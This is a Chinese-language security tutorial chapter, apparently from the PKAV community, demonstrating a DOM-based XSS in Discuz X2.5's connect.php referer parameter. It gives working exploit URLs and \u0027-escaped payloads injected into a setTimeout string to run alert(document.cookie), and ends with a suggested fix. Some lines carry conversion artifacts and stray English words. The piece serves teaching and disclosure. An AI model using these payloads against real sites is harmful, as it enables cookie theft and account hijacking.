13. Dom Xss实例 [Discuz X2.5]

做者:心伤的瘦子javascript

来自:PKAV技术宅社区php

网址:http://www.pkav.netjava

-------------------------------------------------cookie

简要描述:函数

咱们教程的DOM XSS就到这里了。最后再给你们送上一个实例。但愿你们可以体会到:XSS的上下文很是重要,如何结合上下文,利用未过滤字符,合理的构造,才是成功的关键。spa

哎,近几天相信别人有世界末日,跑到一个方舟里避难去了。结果3天事后,我发现世界仍是如此的精彩,如此的辉煌,我就又出来了。我们继续。.net

这年头,码字不容易,求月票。code

详细说明:blog

1.咱们直接看实例点。教程

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802

2. 能够看到咱们的aaaaaaaaaa在源代码里有2处输出。

3. 看第2处,咱们须要用双引号闭合,可是显然dz不会给咱们这么明显的机会,被拦截了。

4. 咱们把目光放在第一处,这一处很特殊,位于setTimeout函数的第一个参数里,setTimeout的第一个函数会将字符串做为脚原本执行。

咱们把这一部分代码提取出来。

<script type="text/javascript" reload="1">
setTimeout("window.location.href='http://www.discuz.net/./aaaaaaaaaaa';",2000);
</script>

咱们首先能想到的是闭合掉 单引号, 可是这里单引号已经被过滤了。

5. 那么是否是就没有办法了呢?咱们能够看到setTimeout的第一个参数是字符串;咱们前面的教程里说过一次,JS字符串中,字符还能够表示为unicode的形式。即:单引号还能够表示为\u0027或\x27。带着这个想法,咱们能够试试\有没有被过滤。

幸运的是,这里还真没过滤 \

6. 接着咱们就是构造代码了。

首先写好代码:

<script type="text/javascript" reload="1">
setTimeout("window.location.href='http://www.discuz.net/./a';alert(document.cookie);a='';", 2000);
</script>

将里面的引号变为\u0027

<script type="text/javascript" reload="1">
setTimeout("window.location.href='http://www.discuz.net/./a\u0027;alert(document.cookie);a=\u0027';", 2000);
</script>

代入到URL里。

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);a=\u0027&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802

能够看到弹出了cookies。

7. 其实这里存在一个问题。 这段JS代码里,第一句是location.href="某个地址"; 上面咱们所演示的,是一个alert,暂停了location.href的发生。

若是咱们把 alert(document.cookie); 换成插入某个JS文件的脚本代码,就会出现问题。

即:JS文件还没来得及加载,location.href="某个地址"; 这句就会被执行,从而跳转到另一个页面了,继而致使失效。

8. 因此这里,咱们有必要改进下执行JS的办法。以下,

咱们能够直接让代码变成执行 location.href="javascript:alert(document.cookie)";

location.href='原来的字符串'.替换(全部字符,"新的字符");

<script type="text/javascript" reload="1">
setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 2000);
</script>

同上,替换单引号,加号什么的。

<script type="text/javascript" reload="1">
setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 2000);
</script>

最后利用代码。
http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772×tamp=1354305802

能够看到,效果同样,此次就不会发生跳转从而致使加载JS失败咯。

9. 能够看到,这个实例,和前面DOM XSS入门时的例子其实本质上是同样的,不过输出最终进入的函数或者javascript语句不同。

漏洞证实:

见详细说明

修复方案:

过滤掉 \